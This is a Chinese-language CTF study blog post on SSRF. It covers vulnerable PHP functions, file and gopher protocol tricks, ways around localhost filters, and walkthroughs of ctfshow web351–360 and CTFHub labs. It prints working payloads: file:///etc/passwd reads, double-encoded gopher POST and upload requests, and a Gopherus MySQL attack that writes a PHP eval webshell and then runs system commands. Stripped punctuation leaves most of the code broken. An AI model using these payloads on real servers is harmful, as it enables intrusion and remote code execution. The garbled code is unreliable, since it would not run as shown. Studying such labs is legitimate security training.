网站开发中什么是站点,青岛做网站eoe,网站建设360 全景制作方案,广州宣传片制作公司什么是ssrf
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下#xff0c;SSRF攻击的目标是从外网无法访问的内部系统。#xff08;正是因为它是由服务端发起的#xff0c;所以它能够请求到与它相连…什么是ssrf
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的所以它能够请求到与它相连而与外网隔离的内部系统;
我对于ssrf的理解就是黑客想要去攻击一个网站但却不好进行攻破就找到它的服务器从服务器上访问得到想要的资源
漏洞产生的函数
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
file_get_contents() 而用在这里它在网址中具有从用户指定的url中获取内容然后指定一个文件报存并呈现给用户在这里顺便也提一下file_put_content() 这两个函数在一些环境中还是经常使用的它的作用就是将字符串写入一个文件中这两个函数正好相反一个是将文件中的字符串读出来一个是将字符串写入文件中
fsockopen()
fsockopen函数实现对用户指定url数据的获取该函数使用socket端口跟服务器建立tcp连接传输数据。变量host为主机名port为端口errstr表示错误信息将以字符串的信息返回30为时限
fsockopen ( string $hostname [, int $port -1 [, int $errno [, string $errstr [, float $timeout ini_get(default_socket_timeout) ]]]] ) :
hostname
如果安装了OpenSSL那么你也许应该在你的主机名地址前面添加访问协议ssl://或者是tls://从而可以使用基于TCP/IP协议的SSL或者TLS的客户端连接到远程主机。
port
端口号。如果对该参数传一个-1则表示不使用端口例如unix://。
errno
如果传入了该参数holds the system level error number that occurred in the system-level connect() call。
如果errno的返回值为0而且这个函数的返回值为FALSE那么这表明该错误发生在套接字连接connect()调用之前导致连接失败的原因最大的可能是初始化套接字的时候发生了错误。
errstr
错误信息将以字符串的信息返回。
timeout
设置连接的时限单位为秒。
注意如果你要对建立在套接字基础上的读写操作设置操作时间设置连接时限请使用stream_set_timeout()fsockopen()的连接时限timeout的参数仅仅在套接字连接的时候生效。
以上来自php中文网站网络 函数 « PHP Manual | PHP 中文手册
curl_exec() curl_exec()函数用于执行指定的cURL会话
示例代码
?php
if (isset($_POST[url])){$link $_POST[url];$curlobj curl_init();// 创建新的 cURL 资源curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj,CURLOPT_URL,$link);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项$resultcurl_exec($curlobj);// 抓取 URL 并把它传递给浏览器curl_close($curlobj);// 关闭 cURL 资源并且释放系统资源$filename ./curled/.rand()..txt;file_put_contents($filename, $result); echo $result;
}
?
fopen() 对文件进行操作的函数
readfile() 利用漏洞常使用的协议 file:/// 从文件系统中获取文件内容如file:///etc/passwd dict:// 字典服务器协议访问字典资源如dict:///ip:6739/info sftp:// SSH文件传输协议或安全文件传输协议 ldap:// 轻量级目录访问协议 tftp:// 简单文件传输协议 gopher:// 分布式文档传递服务可使用gopherus生成payload
比较经常使用的协议我介绍一下有些协议我遇到了在补充
file协议
常用于去访问flag文件和index.php主页文件
?urlfile:///var/www/html/flag.php
?urlfile:///var/www/html/index.php
dict://协议
目前还没怎么使用过遇到在补充
gopher://协议
这个协议是ssrf中利用较多的最强大的协议(俗称万能协议)
gopher://ip:port/_TCP/IP数据流
注意
gopher协议数据流中url编码使用%0d%0a替换字符串中的回车换行数据流末尾使用%0d%0a代表消息结束
在之后的题目会提及到
详细介绍这几个协议的呈上大佬的博客SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客
SSRF利用协议中的万金油——Gopher_ssrf的gopher://-CSDN博客
关于绕过
网址相关绕过
指向127.0.0.1的地址有如下地址
http://localhost/:localhost 代表127.0.0.1。
http://0/:0 在Windows中代表0.0.0.0,在Linux下代表127.0.0.1。
http://0.0.0.0/: 这个IP表示本机IPv4的所有地址。
http://[0:0:0:0:ffff:127.0.0.1]/:Linux 系统下可用,Windows系统下不可用
http://[::]:80/:Linux 系统下可用,Windows系统下不可用。
http://127 。0。0。1/:用中文句号绕过关键字检测。
http://①②⑦.①.①.①: 封闭式字母数字。
http://127.1/: 省略0。
http://127.000.000.001:1 和0的数量没影响,最终依然指向127.0.0.1。
urlhttp://sudo.cc/flag.php //sudo.cc也可以指向127.0.0.1
http头相关绕过
httpsssss://include()和file_get_contents()遇到不认识的文件头的时候就会将这个协议头当作文件夹从而造成目录穿越
如下面这个例子
// ssrf.php
?php
highlight_file(__FILE__);
if(!preg_match(/^https/is,$_GET[url])){
die(no hack);
}
echo file_get_contents($_GET[url]);
?payload
ssrf.php?urlhttpsssss://../../../../../../etc/passwd还有一些关于函数的绕过这位大佬写的非常详细CTFshow刷题日记-WEB-SSRFweb351-360SSRF总结_ctf ssrf题型总结-CSDN博客
它在绕过中关于url的相关的写的非常的详细可以看看
绕过总结
利用
如http://example127.0.0.1
http://www.baidu.com10.10.10.10和http://10.10.10.10请求时相同的
添加端口号
http://127.0.0.1:8080
利用短地址
http://dwz.cn/11SMa
ip地址进制转换
以192.168.109.150为例
首先转换16进制c0.a8.6d.96
接着转换为八进制:300.250.155.226
即192.168.109.150300250155226 访问http://00300250155226
题目示例
多说无益以题见真章
ctfshow web入门 ssrf
web351
打开题目看到源码 ?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
?
对url进行了一系列的curl相关的操作但并没有过滤任何东西
直接post就行
payload
url127.0.0.1/flag.php
web352
看源码 ?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
if(!preg_match(/localhost|127.0.0/)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
?
比上一道题多了一个正则并且要求前缀是一个http或https直接用0进行绕过前面的绕过已经提及到了就不多说了
payload
http://0/flag.php
web353
看源码
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
if(!preg_match(/localhost|127\.0\.|\。/i, $url)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
?
这道题又多加了一个过滤过滤了.0接着用.0.0.0.0进行绕过上面的绕过已经写过了在这里就不多说了
payload
?urlhttp://0.0.0.0/flag.php
web354
源代码 ?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
if(!preg_match(/localhost|1|0|。/i, $url)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
? hacker
这道题又多学了一种姿势用sudo.cc指向127.0.0.1
payload
urlhttp://sudo.cc/flag.php
web355
源码 ?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
$host$x[host];
if((strlen($host)5)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
?
限制了长度绕过payload
http://0/flag.php
web356
源码
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
$host$x[host];
if((strlen($host)3)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
?
还是限制了长度上一道题的payload仍然可以用
web357
这道题留在后面统一知识点进行解释
web358
源码
?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if(preg_match(/^http:\/\/ctf\..*show$/i,$url)){echo file_get_contents($url);
}
这道题要求以http开头以show结尾
payload
urlhttp://ctf.127.0.0.1/flag.php?show
在这里介绍下parse_url()函数的利用
它是对于url的一个分解
举例代码
?php
$url http://ctf.127.0.0.1/flag.php?show;
$x parse_url($url);
var_dump($x);
?//运行结果:
array(5) {[scheme]string(4) http[host]string(9) 127.0.0.1[user]string(4) ctf.[path]string(9) /flag.php[query]string(4) show
}后面两道题也是统一进行解释说明
靶场ctfhub
在ctfhub中对于ssrf的知识点有以下几种
内网访问
给的提示尝试访问位于127.0.0.1的flag.php吧
打开后直接去访问就可以得到flag了
payload
?url127.0.0.1/flag.php
伪协议读取文件
直接用伪协议读取flag文件
?urlfile://var/www/html/flag.php
记得访问之后要查看源码才能得到flag
端口扫描
给了提示来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,
直接抓包在端口处添加变量在8000到9000之间进行爆破找到和其它字段数长度不一样的就可以得到flag了
用bp爆破
POST请求
这道题给的提示这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
打开之后什么都没有去访问源码
?urlfile:///var/www/html/index.php
?urlfile:///var/www/html/flag.php查看后得到两段源码
index.php的源码
?phperror_reporting(0);if (!isset($_REQUEST[url])){header(Location: /?url_);exit;
}$ch curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST[url]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);flag.php源码
?phperror_reporting(0);if ($_SERVER[REMOTE_ADDR] ! 127.0.0.1) {echo Just View From 127.0.0.1;return;
}$flaggetenv(CTFHUB);
$key md5($flag);if (isset($_POST[key]) $_POST[key] $key) {echo $flag;exit;
}
?form action/flag.php methodpostinput typetext namekey!-- Debug: key?php echo $key;?--
/form这里需要利用gopher://协议先介绍一下gopher://协议的一些基本情况 Gopher协议没有默认端口需要制定POST方法回车换行使用%0d%0a参数之间的分隔符也用URL编码其他与HTTP协议类似。在访问?url127.0.0.1/flag.php时它告诉我们需要从127.0.0.1中来访问那就是从内网进行访问内网进行访问需要gopher://协议进行POST请求
构造gopher://协议进行请求
需要构造以下payload
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key7a63523334ee824db18990ffc181d204
开始构造有两种方法进行构造第一种方法就是自己进行url编码将上面这些内容进行两次url编码在进行编码时需要注意以下方面
1.在使用gopher协议发送POST请求包时HostContent-Type和Content-Length请求头是必不可少的但在GET请求中没有要求
2.在向服务器发送请求时首先浏览器会进行一次URL解码其次服务器收到请求后在执行curl时会进行第二次解码所以我们要对请求包进行两次url编码
3.在第一次编码后的数据中将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中可能包含有、等特殊字符避免与服务器解析传入的参数键值对混淆所以对数据包进行 URL编码这样服务端会把%后的字节当做普通字节
这是编码之后的payload
?urlgopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13第二种方法就是用脚本
以下是借助大佬的脚本
import urllib.parsepayload \POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key7a63523334ee824db18990ffc181d204
#注意后面一定要有回车回车结尾表示http请求结束
tmp urllib.parse.quote(payload)
new tmp.replace(%0A,%0D%0A)
result gopher://127.0.0.1:80/_new
result urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码这个脚本运行结果和上面手动的结果一模一样
上传文件
看一下这道题的提示这次需要上传一个文件到flag.php了.祝你好运
它需要上传一个flag.php文件打开127.0.0.1/flag.php发现一个文件上传框但只能选择文件不能上传文件在源码中我们将文件上传框给补上然后上传文件抓包发现只有内网才能上传文件
我们构造post包进行传参
post包如下
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary----WebKitFormBoundary1lYApMMA3NDrr2iY------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; namefile; filenametest.txt
Content-Type: text/plainSSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; namesubmit提交
------WebKitFormBoundary1lYApMMA3NDrr2iY-- 我们可以使用Python脚本实现两次URL编码第一次完成后需要将%0A修改为%0D%0A(也可以通过URL编码工具进行手动编码)
python脚本进行编码
import urllib.parsepayload \
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; namefile; filenametest.txt
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; namesubmit
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--#注意后面一定要有回车回车结尾表示http请求结束
tmp urllib.parse.quote(payload)
# print(tmp)
new tmp.replace(%0A,%0D%0A)
# print(new)
result gopher://127.0.0.1:80/_new
result urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
也可以自己进行url编码这是自己手动编码的结果
?urlgopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--URL Bypass
那两个题和ctfshow web入门两道题一起说
提示请求的URL中必须包含http://notfound.ctfhub.com来尝试利用URL的一些特殊地方绕过这个限制吧
打开题目我们这个题可以用HTTP的基本身份验证绕过
HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式。
也就是http://www.xxx.comwww.yyy.com形式;
构造payload
?url
http://notfound.ctfhub.com127.0.0.1/flag.php
数字IP Bypass
看一下提示这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
打开题目用上一道题的方式访问一下flag.php看到它恢复的和提示一模一样搬掉了127又想访问就用进制转换进行绕过又学了一种绕过方式既然不能使用十进制的IP那我们尝试将IP转换为十六进制
八进制0177.000.000.001 十进制127.0.0.1 十六进制0x7f000001
构造payload获得flag
?url
0x7f000001/flag.php
302跳转Bypass
看看题目的提示SSRF中有个很重要的一点是请求可能会跟随302跳转尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
老规矩用file协议查看?urlfile:///var/www/html/flag.php?urlfile:///var/www/html/index.php
分别得到两个源码
flag.php
?phperror_reporting(0);if ($_SERVER[REMOTE_ADDR] ! 127.0.0.1) {echo Just View From 127.0.0.1;exit;
}echo getenv(CTFHUB);
index.php
?phperror_reporting(0);if (!isset($_REQUEST[url])) {header(Location: /?url_);exit;
}$url $_REQUEST[url];if (preg_match(/127|172|10|192/, $url)) {exit(hacker! Ban Intranet IP);
}$ch curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
我们可以看到过滤了12717210192
但是没有限制localhost
直接payload
?url
localhost/flag.php
另一种方法就是用自己的服务器进行跳转
#302.php
?php
header(Location:http://127.0.0.1/flag.php);
写一个文件写到自己的服务器上然后访问
payload?urlhttp://[公网IP]/302.php实现302跳转
payload?urlhttp://[公网IP]/302.php这个放到最后解释一下这个题型
DNS重绑定 Bypass
打开题目查看题型关键词DNS重绑定。剩下的自己来吧也许附件中的链接能有些帮助
rbndr.us dns rebinding service 这是DNS重定向的一个网站
这里解释一下DNS重定向它也是一种绕过方式
浅谈DNS重绑定漏洞 - 知乎 (zhihu.com) 这是那个附件DNS重定向我的理解就是当用户访问一个域名那么这个域名就会访问绑定的这个ip地址当用户下次在去访问时浏览器就不会去检查会直接进行访问这个ip而这个ip绑定的域名只有管理员能够修改
这个题就直接用DNS重定向进行绕过老规矩利用file协议查看源码这是index.php
1 ?php2
3 error_reporting(0);4
5 if (! isset($_REQUEST[ur1])) {6
header(Location: /?ur1_);
7
exit;
8 }
9
10 $ur1 $_REQUEST[ur1];11
12 if (preg_match(/127|172/10/192/$ur1)) {13
exit(hacker! Ban Intranet IP);14 }
15
16 $ch curl_init();
17 curl_setopt($chCURLOPT_URL$ur1);18 curl_setopt($chCURLOPT_HEADER,O);19 curl_exec($ch);
20 curl_close($ch) ;21flag.php就是告诉我们禁止了127.0.0.1这个ip payload就是
?url
7f000001.7f000002.rbndr.us/flag.php
ok基本的知识就此完结接下来开始介绍一些比较难搞的题目和知识
302跳转和301重定向
先介绍一下这两者的区别
302跳转是暂时的而301重定向是永久的但在ssrf题中使用这两者是没有区别的我们会用一种就行在这里我将用302跳转对这两道题进行解释
它也是ssrf的一种绕过方法上面有两道题可以去进行302跳转
ctfshow 354
看一下源代码 ?php
error_reporting(0);
highlight_file(__FILE__);
$url$_POST[url];
$xparse_url($url);
if($x[scheme]http||$x[scheme]https){
if(!preg_match(/localhost|1|0|。/i, $url)){
$chcurl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$resultcurl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die(hacker);
}
}
else{die(hacker);
}
? hacker
它过滤了10localhost我们可以使用我上面的方法进行绕过也可以使用302跳转进行绕过
在自己的服务器上写一个php文件内容为
?php
header(Location:http://127.0.0.1/flag.php);
然后去访问这个文件但服务器的公网地址不能含有1和0这就比较难实现了所以需要找一个软件可以免费的提供域名才可以简单的去做这道题这个工具为cpolar官网-安全的内网穿透工具 | 无需公网ip | 远程访问 | 搭建网站
可以自行安装一下并调试一下去使用然后用域名去跳转这个文件就可以得到flag
当然还有别的内网穿透工具可以自行上网搜索
另一道题也是同样做法
SSRF题的最后一点Gopherus的使用
它是需要做无回显的SSRF题下面以题为例介绍一下这个软件
ctfshow web359
打开题目就是一个登录框返回去看看提示
打无密码的mysql
在kali系统或服务器上安装一下Gopherus
安装和使用命令
git clone https://github.com/tarunkant/Gopherus.gitpython gopherus.py安装之后一定要打开那个文件夹再去启动这个命令
python2 .\gopherus.py --exploit mysql
然后按照提示写下如下内容
username:root
写入一句话木马
select ?php eval($_POST[cmd]);? into outfile /var/www/html/2.php;然后一定要在次url编码因为将 _ 下划线后面的内容再进行一次 url 编码防止出现特殊字符后端 curl 接收到参数后会默认解码一次
我用在线工具编码没有成功用php代码编码之后在上传之后才成功了
php代码如下
?php
$str%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01;
echo gopher://127.0.0.1:3306/_.urlencode($str); 达到如下页面之后在网址访问url/2.php然后执行命令
?cmdsystem(ls /);
?cmdsystem(cat /flag.txt)
flag就出来了
ctfshow web360
和上题差不多但不知道是环境问题还是什么问题我没有弄成功思路是正确的这道题转了好久直接504
在这里介绍一下什么是Redis服务
什么是Redis未授权访问Redis 默认情况下会绑定在 0.0.0.0:6379如果没有进行采用相关的策略比如添加防火墙规则避免其他非信任来源 ip 访问等这样将会将 Redis 服务暴露到公网上如果在没有设置密码认证一般为空会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下利用 Redis 自身的提供的 config 命令可以进行写文件操作攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中进而可以使用对应私钥直接使用ssh服务登录目标服务器简单说漏洞的产生条件有以下两点redis 绑定在 0.0.0.0:6379且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略直接暴露在公网
没有设置密码认证一般为空可以免密码远程登录redis服务
这段介绍来自这位大佬的博客CTFshow刷题日记-WEB-SSRFweb351-360SSRF总结_ctf ssrf题型总结-CSDN博客
如何测试Redis呢?
访问这个端口出现报错就是存在Redis
如何访问以此题为例 就是这样去检测
这道题同样在Gopherus生成后在用那个脚本重新在url编码一次
还有ctfhub技能树上的
FastCGI协议
看一下提示这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
同样的手法
python2 gopherus.py --exploit fastcgi
这样运行后两次编码 之后把ls哪里在改成cat /f*就行了同样它的Redis协议和ctfshow上的Redis协议做法相同就不再重复说了
ssrf的学习先告一段落了其后就是在比赛遇到题了在补充如果还有什么题和方法我会直接补充到这个博客中有用到的可以收藏一下下一个学习ssti漏洞